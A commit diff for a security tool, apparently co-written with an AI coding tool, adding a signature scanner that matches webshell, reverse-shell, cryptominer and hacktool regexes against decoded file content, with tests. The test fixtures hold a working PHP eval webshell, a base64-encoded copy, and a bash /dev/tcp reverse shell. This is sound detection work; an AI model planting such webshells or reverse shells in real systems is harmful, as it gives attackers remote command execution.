feat(llm-security): add SIG signature scanner with decode-pipeline matching
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01V3s6WnubSSrFjAQTLQdVbG
This commit is contained in:
parent
75aeeeee68
commit
bac6f6ff7d
7 changed files with 346 additions and 0 deletions
62
knowledge/signatures.json
Normal file
62
knowledge/signatures.json
Normal file
|
|
@ -0,0 +1,62 @@
|
||||||
|
{
|
||||||
|
"version": "1.0",
|
||||||
|
"description": "Small, high-confidence known-bad-identity signatures grouped by family. Patterns are case-insensitive JS regex source strings. Kept deliberately tight to minimize false positives; obfuscated variants are caught because the SIG scanner runs each pattern against the normalizeForScan/foldHomoglyphs/rot13 decode pipeline, not just raw bytes.",
|
||||||
|
"rules": [
|
||||||
|
{
|
||||||
|
"id": "SIG-WEBSHELL-001",
|
||||||
|
"family": "webshell",
|
||||||
|
"severity": "critical",
|
||||||
|
"pattern": "(?:eval|assert|system|exec|passthru|shell_exec|popen|proc_open)\\s*\\(\\s*\\$_(?:POST|GET|REQUEST|COOKIE|SERVER)",
|
||||||
|
"description": "PHP webshell: executes attacker-controlled request data",
|
||||||
|
"provenance": "Classic PHP webshell pattern (c99/r57/b374k families)"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"id": "SIG-WEBSHELL-002",
|
||||||
|
"family": "webshell",
|
||||||
|
"severity": "high",
|
||||||
|
"pattern": "\\$_(?:POST|GET|REQUEST|COOKIE)\\s*\\[[^\\]]*\\]\\s*\\(",
|
||||||
|
"description": "PHP variable-function call on request data (obfuscated webshell)",
|
||||||
|
"provenance": "Variable-function webshell obfuscation"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"id": "SIG-REVSHELL-001",
|
||||||
|
"family": "reverse_shell",
|
||||||
|
"severity": "critical",
|
||||||
|
"pattern": "(?:bash|sh)\\s+-i\\s*>&?\\s*/dev/tcp/",
|
||||||
|
"description": "Bash /dev/tcp reverse shell",
|
||||||
|
"provenance": "PentestMonkey reverse-shell cheat sheet"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"id": "SIG-REVSHELL-002",
|
||||||
|
"family": "reverse_shell",
|
||||||
|
"severity": "critical",
|
||||||
|
"pattern": "\\bnc\\s+-[a-z]*e[a-z]*\\s+/(?:bin|usr/bin)/(?:sh|bash)\\b",
|
||||||
|
"description": "Netcat -e reverse shell",
|
||||||
|
"provenance": "Netcat reverse-shell one-liner"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"id": "SIG-MINER-001",
|
||||||
|
"family": "cryptominer",
|
||||||
|
"severity": "high",
|
||||||
|
"pattern": "stratum\\+(?:tcp|ssl)://",
|
||||||
|
"description": "Cryptominer stratum pool URL",
|
||||||
|
"provenance": "Stratum mining protocol"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"id": "SIG-MINER-002",
|
||||||
|
"family": "cryptominer",
|
||||||
|
"severity": "high",
|
||||||
|
"pattern": "\\b(?:xmrig|minerd|cgminer|ccminer|cpuminer)\\b",
|
||||||
|
"description": "Known cryptominer binary reference",
|
||||||
|
"provenance": "Common CPU/GPU miner binaries"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"id": "SIG-HACKTOOL-001",
|
||||||
|
"family": "hacktool",
|
||||||
|
"severity": "high",
|
||||||
|
"pattern": "\\b(?:mimikatz|meterpreter|sekurlsa::|lsadump::)\\b",
|
||||||
|
"description": "Offensive-security tooling reference",
|
||||||
|
"provenance": "Mimikatz / Metasploit Meterpreter"
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
145
scanners/signature-scanner.mjs
Normal file
145
scanners/signature-scanner.mjs
Normal file
|
|
@ -0,0 +1,145 @@
|
||||||
|
// signature-scanner.mjs — SIG: known-bad-identity signature engine
|
||||||
|
//
|
||||||
|
// Detects known-malware *identity* (webshells, reverse shells, cryptominers,
|
||||||
|
// hacktools) — complementary to the shape-based scanners (entropy/taint).
|
||||||
|
//
|
||||||
|
// Differentiator vs raw signature engines (e.g. YARA): every signature regex
|
||||||
|
// is tested not only against the raw file bytes but also against the project's
|
||||||
|
// decode pipeline (normalizeForScan -> base64/hex/url/entity/unicode decode,
|
||||||
|
// foldHomoglyphs, rot13). Obfuscated known-malware that a byte-matcher misses
|
||||||
|
// is therefore still caught.
|
||||||
|
//
|
||||||
|
// OWASP coverage: LLM03 (supply chain) primary; LLM02 (sensitive disclosure).
|
||||||
|
// Zero external dependencies — Node.js builtins only.
|
||||||
|
|
||||||
|
import { readFile } from 'node:fs/promises';
|
||||||
|
import { join, dirname } from 'node:path';
|
||||||
|
import { fileURLToPath } from 'node:url';
|
||||||
|
import { finding, scannerResult } from './lib/output.mjs';
|
||||||
|
import { readTextFile } from './lib/file-discovery.mjs';
|
||||||
|
import { normalizeForScan, foldHomoglyphs, rot13 } from './lib/string-utils.mjs';
|
||||||
|
import { getPolicyValue } from './lib/policy-loader.mjs';
|
||||||
|
|
||||||
|
const __dirname = dirname(fileURLToPath(import.meta.url));
|
||||||
|
|
||||||
|
// Paths excluded from signature scanning when present under the scan root:
|
||||||
|
// our own ruleset, test fixtures, and docs all legitimately contain patterns
|
||||||
|
// that would otherwise self-flag.
|
||||||
|
const EXCLUDED_PATH_RE = /(^|\/)(knowledge|tests|docs|node_modules)\//i;
|
||||||
|
|
||||||
|
const DEFAULT_FAMILIES = ['webshell', 'reverse_shell', 'cryptominer', 'hacktool'];
|
||||||
|
|
||||||
|
// Cached, compiled ruleset (loaded once per process).
|
||||||
|
let _rules = null;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Load and compile signatures.json. Each rule's `pattern` is compiled to a
|
||||||
|
* case-insensitive RegExp; rules whose pattern fails to compile are dropped.
|
||||||
|
* Graceful fallback to an empty ruleset on any load/parse error.
|
||||||
|
* @returns {Promise<Array<{id,family,severity,re,description,provenance}>>}
|
||||||
|
*/
|
||||||
|
async function loadRules() {
|
||||||
|
if (_rules) return _rules;
|
||||||
|
const rulesetPath = join(__dirname, '..', 'knowledge', 'signatures.json');
|
||||||
|
try {
|
||||||
|
const raw = await readFile(rulesetPath, 'utf8');
|
||||||
|
const parsed = JSON.parse(raw);
|
||||||
|
const compiled = [];
|
||||||
|
for (const rule of parsed.rules || []) {
|
||||||
|
if (!rule || !rule.id || !rule.pattern) continue;
|
||||||
|
let re;
|
||||||
|
try {
|
||||||
|
re = new RegExp(rule.pattern, 'i');
|
||||||
|
} catch {
|
||||||
|
continue; // skip uncompilable patterns
|
||||||
|
}
|
||||||
|
compiled.push({
|
||||||
|
id: rule.id,
|
||||||
|
family: rule.family || 'unknown',
|
||||||
|
severity: rule.severity || 'high',
|
||||||
|
re,
|
||||||
|
description: rule.description || rule.id,
|
||||||
|
provenance: rule.provenance || null,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
_rules = compiled;
|
||||||
|
} catch {
|
||||||
|
_rules = []; // graceful: no ruleset -> no findings
|
||||||
|
}
|
||||||
|
return _rules;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Build the decode-variant set for one file's content (de-duplicated). */
|
||||||
|
function variantsOf(content) {
|
||||||
|
const variants = [{ label: 'raw', text: content }];
|
||||||
|
const seen = new Set([content]);
|
||||||
|
const add = (label, text) => {
|
||||||
|
if (text && !seen.has(text)) { seen.add(text); variants.push({ label, text }); }
|
||||||
|
};
|
||||||
|
// Trimming before decode lets a base64/hex blob with surrounding whitespace
|
||||||
|
// (a trailing newline, indentation) still decode — common in real payloads.
|
||||||
|
add('decoded', normalizeForScan(content));
|
||||||
|
add('decoded-trimmed', normalizeForScan(content.trim()));
|
||||||
|
add('homoglyph-folded', foldHomoglyphs(content));
|
||||||
|
add('rot13', rot13(content));
|
||||||
|
return variants;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Scan all discovered files for known-bad signatures.
|
||||||
|
*
|
||||||
|
* @param {string} targetPath - Absolute root path being scanned
|
||||||
|
* @param {{ files: import('./lib/file-discovery.mjs').FileInfo[] }} discovery
|
||||||
|
* @returns {Promise<object>} - scannerResult envelope
|
||||||
|
*/
|
||||||
|
export async function scan(targetPath, discovery) {
|
||||||
|
const startMs = Date.now();
|
||||||
|
const findings = [];
|
||||||
|
let filesScanned = 0;
|
||||||
|
|
||||||
|
try {
|
||||||
|
const rules = await loadRules();
|
||||||
|
const enabledFamilies = new Set(
|
||||||
|
(getPolicyValue('sig', 'enabled_families', DEFAULT_FAMILIES, targetPath) || []).map(f => String(f)),
|
||||||
|
);
|
||||||
|
const activeRules = rules.filter(r => enabledFamilies.has(r.family));
|
||||||
|
if (activeRules.length === 0) {
|
||||||
|
return scannerResult('signature-scanner', 'ok', findings, filesScanned, Date.now() - startMs);
|
||||||
|
}
|
||||||
|
|
||||||
|
for (const fileInfo of discovery.files) {
|
||||||
|
const relPath = String(fileInfo.relPath).replace(/\\/g, '/');
|
||||||
|
if (EXCLUDED_PATH_RE.test('/' + relPath)) continue;
|
||||||
|
|
||||||
|
const content = await readTextFile(fileInfo.absPath);
|
||||||
|
if (content === null) continue;
|
||||||
|
|
||||||
|
filesScanned++;
|
||||||
|
const variants = variantsOf(content);
|
||||||
|
const seen = new Set(); // de-dup per (file, rule)
|
||||||
|
|
||||||
|
for (const rule of activeRules) {
|
||||||
|
if (seen.has(rule.id)) continue;
|
||||||
|
const hit = variants.find(v => rule.re.test(v.text));
|
||||||
|
if (!hit) continue;
|
||||||
|
seen.add(rule.id);
|
||||||
|
const viaDecode = hit.label !== 'raw';
|
||||||
|
findings.push(finding({
|
||||||
|
scanner: 'SIG',
|
||||||
|
severity: rule.severity,
|
||||||
|
title: `Known-bad signature: ${rule.family} (${rule.id})`,
|
||||||
|
description: `${rule.description}${viaDecode ? ` — matched after decoding (${hit.label} variant), i.e. obfuscated.` : '.'}`,
|
||||||
|
file: fileInfo.relPath,
|
||||||
|
evidence: `${rule.id} [${rule.family}]${rule.provenance ? ` — ${rule.provenance}` : ''}`,
|
||||||
|
owasp: 'LLM03',
|
||||||
|
recommendation: `Remove the ${rule.family} payload, or if this is an intentional security sample, exclude its path or disable the "${rule.family}" family in .llm-security/policy.json.`,
|
||||||
|
}));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return scannerResult('signature-scanner', 'ok', findings, filesScanned, Date.now() - startMs);
|
||||||
|
|
||||||
|
} catch (err) {
|
||||||
|
return scannerResult('signature-scanner', 'error', findings, filesScanned, Date.now() - startMs, err.message);
|
||||||
|
}
|
||||||
|
}
|
||||||
5
tests/fixtures/signature-scan/clean/notes.md
vendored
Normal file
5
tests/fixtures/signature-scan/clean/notes.md
vendored
Normal file
|
|
@ -0,0 +1,5 @@
|
||||||
|
# Shell Safety Notes
|
||||||
|
|
||||||
|
This guide explains how to use your shell safely: prefer quoting variables,
|
||||||
|
avoid running scripts you did not write, and review any command before you
|
||||||
|
execute it. Nothing here runs code.
|
||||||
3
tests/fixtures/signature-scan/poisoned/revshell.sh
vendored
Normal file
3
tests/fixtures/signature-scan/poisoned/revshell.sh
vendored
Normal file
|
|
@ -0,0 +1,3 @@
|
||||||
|
#!/bin/sh
|
||||||
|
# Reverse shell test fixture — never executed.
|
||||||
|
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
|
||||||
1
tests/fixtures/signature-scan/poisoned/webshell-b64.txt
vendored
Normal file
1
tests/fixtures/signature-scan/poisoned/webshell-b64.txt
vendored
Normal file
|
|
@ -0,0 +1 @@
|
||||||
|
PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7ID8+
|
||||||
4
tests/fixtures/signature-scan/poisoned/webshell.php
vendored
Normal file
4
tests/fixtures/signature-scan/poisoned/webshell.php
vendored
Normal file
|
|
@ -0,0 +1,4 @@
|
||||||
|
<?php
|
||||||
|
// Minimal classic PHP webshell (test fixture — never deployed).
|
||||||
|
@eval($_POST['cmd']);
|
||||||
|
?>
|
||||||
126
tests/scanners/signature-scanner.test.mjs
Normal file
126
tests/scanners/signature-scanner.test.mjs
Normal file
|
|
@ -0,0 +1,126 @@
|
||||||
|
// signature-scanner.test.mjs — Tests for the SIG known-bad-identity scanner.
|
||||||
|
// Fixtures in tests/fixtures/signature-scan/:
|
||||||
|
// - clean/ : benign prose that merely mentions "shell" (0 findings expected)
|
||||||
|
// - poisoned/ : a PHP webshell, a base64-wrapped copy of it (decode-pipeline
|
||||||
|
// differentiator), and a /dev/tcp reverse shell
|
||||||
|
|
||||||
|
import { describe, it, beforeEach } from 'node:test';
|
||||||
|
import assert from 'node:assert/strict';
|
||||||
|
import { resolve, join } from 'node:path';
|
||||||
|
import { fileURLToPath } from 'node:url';
|
||||||
|
import { mkdtempSync, mkdirSync, writeFileSync, rmSync } from 'node:fs';
|
||||||
|
import { tmpdir } from 'node:os';
|
||||||
|
import { resetCounter } from '../../scanners/lib/output.mjs';
|
||||||
|
import { discoverFiles } from '../../scanners/lib/file-discovery.mjs';
|
||||||
|
import { scan } from '../../scanners/signature-scanner.mjs';
|
||||||
|
|
||||||
|
const __dirname = fileURLToPath(new URL('.', import.meta.url));
|
||||||
|
const CLEAN_FIXTURE = resolve(__dirname, '../fixtures/signature-scan/clean');
|
||||||
|
const POISONED_FIXTURE = resolve(__dirname, '../fixtures/signature-scan/poisoned');
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Clean — benign prose, no known-bad identity
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
describe('signature-scanner: clean', () => {
|
||||||
|
let discovery;
|
||||||
|
|
||||||
|
beforeEach(async () => {
|
||||||
|
resetCounter();
|
||||||
|
discovery = await discoverFiles(CLEAN_FIXTURE);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('returns status ok', async () => {
|
||||||
|
const result = await scan(CLEAN_FIXTURE, discovery);
|
||||||
|
assert.equal(result.status, 'ok');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('produces 0 findings for benign prose mentioning "shell"', async () => {
|
||||||
|
const result = await scan(CLEAN_FIXTURE, discovery);
|
||||||
|
assert.equal(
|
||||||
|
result.findings.length, 0,
|
||||||
|
`Expected 0 findings, got ${result.findings.length}: ${result.findings.map(f => f.title).join('; ')}`,
|
||||||
|
);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Poisoned — webshell + base64 variant (decode pipeline) + reverse shell
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
describe('signature-scanner: poisoned', () => {
|
||||||
|
let discovery;
|
||||||
|
|
||||||
|
beforeEach(async () => {
|
||||||
|
resetCounter();
|
||||||
|
discovery = await discoverFiles(POISONED_FIXTURE);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('returns status ok', async () => {
|
||||||
|
const result = await scan(POISONED_FIXTURE, discovery);
|
||||||
|
assert.equal(result.status, 'ok');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('all findings carry DS-SIG- ids and scanner SIG', async () => {
|
||||||
|
const result = await scan(POISONED_FIXTURE, discovery);
|
||||||
|
const wrong = result.findings.filter(f => !f.id.startsWith('DS-SIG-') || f.scanner !== 'SIG');
|
||||||
|
assert.equal(wrong.length, 0, `Wrong id/scanner: ${wrong.map(f => `${f.id}/${f.scanner}`).join(', ')}`);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('flags the raw PHP webshell', async () => {
|
||||||
|
const result = await scan(POISONED_FIXTURE, discovery);
|
||||||
|
const ws = result.findings.filter(f => f.file.includes('webshell.php'));
|
||||||
|
assert.ok(ws.length >= 1, `Expected a webshell finding on webshell.php, got: ${result.findings.map(f => f.file).join('; ')}`);
|
||||||
|
assert.ok(ws.some(f => /webshell/i.test(f.title) || /webshell/i.test(f.description)), 'finding should name the webshell family');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('flags the base64-wrapped webshell via the decode pipeline', async () => {
|
||||||
|
const result = await scan(POISONED_FIXTURE, discovery);
|
||||||
|
const b64 = result.findings.find(f => f.file.includes('webshell-b64.txt'));
|
||||||
|
assert.ok(b64, `Expected a finding on webshell-b64.txt (decode pipeline), got: ${result.findings.map(f => f.file).join('; ')}`);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('flags the /dev/tcp reverse shell', async () => {
|
||||||
|
const result = await scan(POISONED_FIXTURE, discovery);
|
||||||
|
const rev = result.findings.find(f => f.file.includes('revshell.sh'));
|
||||||
|
assert.ok(rev, `Expected a reverse-shell finding on revshell.sh, got: ${result.findings.map(f => f.file).join('; ')}`);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('all findings have required fields', async () => {
|
||||||
|
const result = await scan(POISONED_FIXTURE, discovery);
|
||||||
|
assert.ok(result.findings.length >= 3, `expected >= 3 findings, got ${result.findings.length}`);
|
||||||
|
for (const f of result.findings) {
|
||||||
|
assert.ok(f.id, 'missing id');
|
||||||
|
assert.equal(f.scanner, 'SIG', `${f.id} scanner should be SIG`);
|
||||||
|
assert.ok(f.severity, `${f.id} missing severity`);
|
||||||
|
assert.ok(f.title, `${f.id} missing title`);
|
||||||
|
assert.ok(f.description, `${f.id} missing description`);
|
||||||
|
assert.ok(f.file, `${f.id} missing file`);
|
||||||
|
assert.ok(f.owasp, `${f.id} missing owasp`);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Hygiene — must not flag its own ruleset / test / docs paths when scanning
|
||||||
|
// a project root that contains them
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
describe('signature-scanner: path exclusions', () => {
|
||||||
|
it('does not scan knowledge/, tests/, or docs/ paths', async () => {
|
||||||
|
const dir = mkdtempSync(join(tmpdir(), 'sig-paths-'));
|
||||||
|
try {
|
||||||
|
for (const sub of ['knowledge', 'tests', 'docs']) {
|
||||||
|
mkdirSync(join(dir, sub), { recursive: true });
|
||||||
|
// A file that WOULD match a webshell signature, but lives in an excluded dir.
|
||||||
|
writeFileSync(join(dir, sub, 'sample.php'), "<?php @eval($_POST['x']); ?>\n");
|
||||||
|
}
|
||||||
|
resetCounter();
|
||||||
|
const discovery = await discoverFiles(dir);
|
||||||
|
const result = await scan(dir, discovery);
|
||||||
|
assert.equal(result.findings.length, 0, `excluded dirs should yield 0 findings, got ${result.findings.map(f => f.file).join('; ')}`);
|
||||||
|
} finally {
|
||||||
|
rmSync(dir, { recursive: true, force: true });
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
Loading…
Add table
Add a link
Reference in a new issue